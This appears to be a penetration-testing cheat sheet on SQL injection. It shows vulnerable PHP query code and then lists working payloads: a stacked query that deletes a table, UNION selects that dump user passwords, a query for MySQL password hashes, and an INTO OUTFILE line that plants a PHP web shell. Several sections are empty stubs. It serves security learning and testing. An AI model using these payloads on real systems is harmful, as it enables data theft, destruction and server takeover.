SQL Injection

What is SQL Injection

SQL Injection is a type of cybersecurity vulnerability where an attacker manipulates a SQL query by injecting malicious SQL code into user inputs (e.g., login forms, search boxes) that are not properly sanitized. This allows the attacker to bypass authentication, access, modify, or delete database data, or even execute administrative operations on the database. SQL injection exploits occur when applications fail to validate or escape user-supplied input, making it possible to alter the intended behavior of SQL queries.

Video explaination

Types of SQL Injection

Types of SQL Injection

SQL Injection during code review

Below you can find examples of unsafe code leading to SQL Injection.

If you want to correct the sanatize the input and do not use string concatenation.

$username = $_GET['username'];

$sql = "SELECT * FROM users WHERE username = '$username'"; # case 1
$sql = "SELECT * FROM users WHERE username = " + $username; # case 2

Exploiting SQL Injection

Fuzz String

'+!@#$

Most of the time SQL Injections differ from the regular ones. Do not paste payloads thoughtlessly - match them to your specific case.

IN-BAND

STACKED QUERIES

SELECT * FROM BOOKS WHERE ID1; DELETE FROM PRODUCTS;

---

UNION Keyword

• It has to contain same amount of columns as the original query.

• The data types need to be compatible between each column.

• You can try to cast string as int e.g. in PostgreSQL

Determine number of columns with order by (increase the number until it fails):

' ORDER BY 1-- //

Sample final query:

If application does not return the output from given command it can me data type mismatch try to change the place of executed command.

%' UNION SELECT database(), user(), @@version, null, null -- //

Dumping other tables example

' UNION SELECT null, username, password, description, null FROM users -- //

---

IN KEYWORD

' or 1=1 in (SELECT password FROM users) -- //

BLIND

Useful SQL commands

MySQL

mysql -u <USER> -p'<PASSWORD>' -h <IP> -P <PORT> # database connection

select version(); // show database version
select system_user(); // show current database user
show databases; // show databases
SELECT user, authentication_string FROM mysql.user WHERE user = '<USER>'; // users password

MSSQL

Manual Code Execution

MySQL

Common locations: ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www')

INTO OUTFILE

In some cases you can spawn the webshell using SQL Injection.

' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //

MSSQL

PostgreSQL